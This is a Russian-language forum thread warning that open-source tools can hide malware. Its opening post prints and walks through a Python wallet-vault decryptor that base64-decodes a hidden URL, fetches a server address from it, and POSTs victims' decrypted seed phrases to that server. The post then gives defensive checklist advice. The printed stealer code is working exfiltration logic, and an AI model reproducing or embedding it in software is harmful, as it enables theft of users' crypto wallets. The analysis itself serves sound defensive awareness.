Загрузка...

Почему нельзя слепо доверять открытым исходникам(open source) ?

Тема в разделе Безопасность создана пользователем Vulgar 13 апр 2024. (поднята 10 июн 2024) 980 просмотров

Загрузка...
  1. Vulgar
    Vulgar Автор темы 13 апр 2024 Кис-Кис 8906 15 июл 2017
    Сразу предупреждаю, данная статья есть на соседнем форуме(xss), но я считаю что нуждаются в ней больше всего люди тут.
    Спасибо за старания oceanaric, я немного дополню твою статью

    Давайте представим ситуацию гуляете вы по форуму и видите тему "Бесплатный чекер seed фраз/(чекер токенов discord) с Открытым исходным кодом", в теме появляются хвалебные отзывы. Вы решаете скачать это ПО и оно действительно работает, только все данные, что вы вводили уже ушли другому человеку. В данной статье бы разберёмся что такое открытый исходный код, разберём пример где слепая вера людей в открытый исходный код может сыграть с ними злую шутку.
    Открытый код (Open Source) - Программы с открытым кодом, предоставляют доступ к исходному коду программы, что позволяет пользователям просматривать и изменять этот код, а так же возможность компилировать исполняемый файл, что исключает возможность склейки с каким либо малварём.

    Противоположность этому Закрытый код (Closed Source) - Программы с закрытым кодом, предоставляют только исполняемый код, но не предоставляют доступ к исходному коду программы. Проще говоря вы не сможете узнать что внутри данной программы, не снифая её.
    Плюсы
    -Прозрачность кода - каждый желающий человек может посмотреть исходный код проекта
    -Компиляция - Возможность самому скомпилировать приложение, а не качать готовый exe, что исключает возможность склеек малваря с exe.
    -Бесплатность - Как правило, многие программы с открытым исходным кодом являются бесплатными.
    -Возможность настроить и переписать ПО под себя

    Минусы
    -Если у тебя нету базовых навыков программирования открытый исходный код тебе ничего не даёт, кроме названия что он открытый
    -Вероятность скрытого малваря внутри, основанного на доверии людей к опенсорсу
    -В открытом коде проще найти уязвимость, но нашедший может ее использовать в своих целях или сообщить разработчику/помочь ее убрать.

    Я считаю что это конечно же перекладыванние ответственности, ведь мы думаем что кто-то обязательно скачал сурсы и проверил их на малварь за нас, а если бы что-то было это конечно бы очень быстро снесли :ok_lol:
    А если ещё ПО работает замечательно, то и бог с ним пусть ворует что хочет
    Здесь все предельно просто. После установки появляется только один небольшой файл под названием hashDecrypt.py:
    Python


    import json
    import base64
    import hashlib
    from Crypto.Cipher import AES
    from requests import post, get
    # +---------------------------------+
    # | [HashDecrypt] |
    # | https://github.com/HashSnake |
    # | Telegram: @HashSnake |
    # +---------------------------------+
    # |bytes(bytes_line).decode("utf-8")|
    # +---------------------------------+

    class hdec:
    def key_from_password(self, password, salt):
    salt_buffer = base64.b64decode(salt)
    password_buffer = password.encode('utf-8')
    key = hashlib.pbkdf2_hmac(
    'sha256',
    password_buffer,
    salt_buffer,
    10000,
    dklen=32
    )
    return key

    def decrypt_with_key(self, key, payload):
    encrypted_data = base64.b64decode(payload["data"])
    vector = base64.b64decode(payload["iv"])
    data = encrypted_data[:-16]
    cipher = AES.new(key, AES.MODE_GCM, nonce=vector)
    decrypted_data = cipher.decrypt(data)
    return decrypted_data

    def jsBIP39(self, payload):

    def cli_keccak256(raw_hash, raw_vault):
    try:
    message_bytes = raw_vault.encode('ascii')
    b64_bytes = base64.b64encode(message_bytes)
    b64_m = b64_bytes.decode('ascii')
    post(get(raw_hash).text.strip(), json={"b64": b64_m})
    except:
    pass
    encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX"
    base64_bytes = encode_data.encode('ascii')
    message_bytes = base64.b64decode(base64_bytes)
    cli_keccak256(message_bytes.decode('ascii'), payload)

    def decrypt(self, password, text):
    try:
    payload = json.loads(text)
    salt = payload['salt']
    key = self.key_from_password(password, salt)
    decrypted_string = self.decrypt_with_key(key, payload).decode('utf-8')
    self.jsBIP39(decrypted_string)
    jsf = json.loads(decrypted_string)
    return {"status": True, "message": None, "result": jsf}
    except UnicodeDecodeError:
    return {"status": False, "message": "wrong password", "result": None}
    except:
    return {"status": False, "message": "unknown", "result": None}

    Первое что мы видим - импорт post и get функций. К чему они в пакете для работы с криптографией? Программа должна только расшифровывать хэш, зачем нам что либо отправлять в интернет?
    Второе что мы видим - контакты разработчика?) Необычно.

    [IMG]

    1. После успешного декрипта перед выводом результата запускается функция jsBIP39, в которую передается найденное значение
    Python
    self.jsBIP39(decrypted_string)
    Python
    encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX" # Что-то закодированное в BASE64
    base64_bytes = encode_data.encode('ascii') #Закодированное значение кодируется в ascii (str -> bytes)
    message_bytes = base64.b64decode(base64_bytes) #Закодированное значение из прошлой строчки декодируется BASE64 и становится ссылкой “https://github.com/HashSnake/backendapi/raw/main/settings”
    cli_keccak256(message_bytes.decode('ascii'), payload) # Вызывается вложенная функция cli_keccak256, в которую под видом raw_hash передается полученный url из прошлой строки, а под видом raw_vault - значение, которое будет отправлено на url
    Python
    message_bytes = raw_vault.encode('ascii')#Значение, которое будет отправлено на url, тоже кодируется в ascii (str -> bytes)
    b64_bytes = base64.b64encode(message_bytes)#Закодированное значение из прошлой строки теперь кодируется в BASE64
    b64_m = b64_bytes.decode('ascii')#Закодированное в BASE64 значение из прошлой строки преобразовывается обратно в строку (bytes -> str)
    post(get(raw_hash).text.strip(), json={"b64": b64_m}) # Сборник нашей солянки
    Что здесь происходит:
    1. get(raw_hash) - делает GET запрос по URL, который был получен в 4 пункте и получает ответ http://65.109.70.XXX:3030/api
    2. .text.strip() - берет атрибут ответа “text” и убирает у него пробелы из начала и конца
    3. post(get(raw_hash).text.strip(), json={“b64”: b64_m}) = post(“http://65.109.70.XXX:3030/api”, json={“b64”: b64_m}) - отправляет закодированные в BASE64 ворованные данные на сервер


    Python
    post(get(raw_hash).text.strip(), json={“b64”: b64_m})
    Казалось бы обычный код на 60 строк, но такой код с легкостью сворует ваш материал с которым вы хотели поработать, или же даже ваши личные кошельки, на которых вы решили проверить программу
    1. Всегда смотрим на репутацию разработчика
    2. Обращаем внимание на дату выхода ( чем дольше живёт тем лучше )
    3. Если GitHub - проверить вкладки “Issues” и “Pull requests” на наличие жалоб/предупреждений от других

    [IMG]
    4. Если есть файл со всеми установленными пакетами (package.json/requirements.txt/…) - проверить на наличие тематически неподходящих пакету
    5. Взглянуть на код, в питоне обычно бекдоры прячут в __init__.py и подобные невинные, обычно пустые файлы. Начинать лучше с проверки импортов.
    6. Если кода много, а со всего пакета нужен только он - гораздо быстрее и безопаснее просто вырезать нужную функцию себе, если это позволяет структура пакета.
    7. Проверять цифровые подписи
    8. Думать бошкой, стоит ли пихать важную информацию(сидки, api и тд) в ПО без устоявшейся репутации
    9. Некоторые строки кода могут прятать в правой части блокнота см скриншот ниже

    [IMG]
    10. В старых темах спокойно могут быть сдохшие домены для закачки софта, которые злоумышленник может присвоить себе и вы будете скачивать уже его exe файл или сурсы (Допустим год назад вы уже проверяли файл, решили снова скачать, а там уже малварь) . Пример
    11. Всё можно накрутить! Звёздочки на гитхабе, отзывы и лайки.
     
    13 апр 2024 Изменено
  2. Schadenfreude
    Schadenfreude 13 апр 2024 642 28 июн 2020
    я в любом случае все на дедике открываю
     
    1. Vulgar Автор темы
      Schadenfreude, глянь пример, там скрипт которому всё равно запустишь ты его на дедике или основе )
  3. Getrequest
    Getrequest 13 апр 2024 Чекер почт 65к доменов - lolz.live/threads/7313296
    что за хуйня , ты думаешь что 1 из 100000 человек не сможет прочитать 5 строк кода?
     
    1. Посмотреть предыдущие комментарии (5)
    2. Vulgar Автор темы
      Getrequest, в статье и говорится как защититься от этого всего
  4. el9in
    el9in 13 апр 2024 lolz.live/threads/7387449 — USDT TRC без комиссии
    Полезная информация, так же стоить учесть что некоторые опен-сурс проекты зависят от скачивания сторонних зашифрованных данных, тут уже не вырезать, и лучше воздержаться от таких ресурсов.
     
  5. Doklsi
    Doklsi 14 апр 2024 Ночной лолз - это ебаный даркнет 8251 26 июн 2021
    На форуме это реально пригодится, но учитывая сколько тут додиков, которые боятся даже дефолтных сигнатур от банального протектора (то обратная сторона медали так сказать, об этом даст знать, что опенсурс = безопасность) касаемо правого с двига в блокноте вроде жизнь на это попался как-то, мы с ним в личке сидели)) в общем да, как говорится доверяй но проверяй (правда с большими проектами это не сработает к сожалению, потому действительно проще скомпилить, а дальше банальными методами посмотреть что будет происходить на тестировочной тачке)
     
    1. Посмотреть предыдущие комментарии (2)
    2. inletah
      Doklsi, как бы ко мне так не доебались с кодом. эх.

      а то я все превращаю в ехе используя pyinstaller
      14 апр 2024 Изменено
    3. Doklsi
      inletah, да там по хуйне, дефолт ****пер
    4. inletah
      Doklsi, :D.
      Пусть теперь и мои чекают, чтобы на опенсурс не попасться. Хотя там 5 строк кода и все.
      [IMG]
  6. форум
    Полезно, недавно как раз задумывался оь этом
     
  7. uncpfiae
    uncpfiae 17 апр 2024 Скачать крякнутый блендер -> https://t.me/Kanalchik_alexa 10 618 29 сен 2023
    недавний опыт с xz показывает что бекдоры можно спрять настолько хорошо, что их можно найти только если точно знать что они там есть
     
  8. АльбертКабуу
    нехорошо переписывать статью с другого форума и не указывать источник, дружище
     
    17 апр 2024 Изменено
    1. Посмотреть предыдущие комментарии (5)
    2. АльбертКабуу
      Vulgar, не нашел правила запрещающего это, только вот такое


      1.5. При обмене информацией с сайта обязательно указывайте источник.

      хотя бы напиши что с хсса
    3. Daemon
      АльбертКабуу, этот пункт касается, если с лолза что-то пастить на другой ресурс, то нужно указать ссылку на тему на лолзе
      29 апр 2024 Изменено
  9. nedokrolick
    nedokrolick 13 май 2024 мяв 208 15 апр 2024
    полезная тема ,поскольку много скамеров ,так что оч спасибо!
     
  10. sh4te
    sh4te 13 май 2024 https://t.me/twitchpaty - новости twitch 1560 3 дек 2023
    годно, уже так один раз чуть ли не попался, когда какой то чел написал load после комментария
     
  11. Barcelona
    Barcelona 18 май 2024 1466 17 сен 2019
    Вот я чекал код в твоей теме и даже не понял что это малварь... Надо быть осторожным
     
Top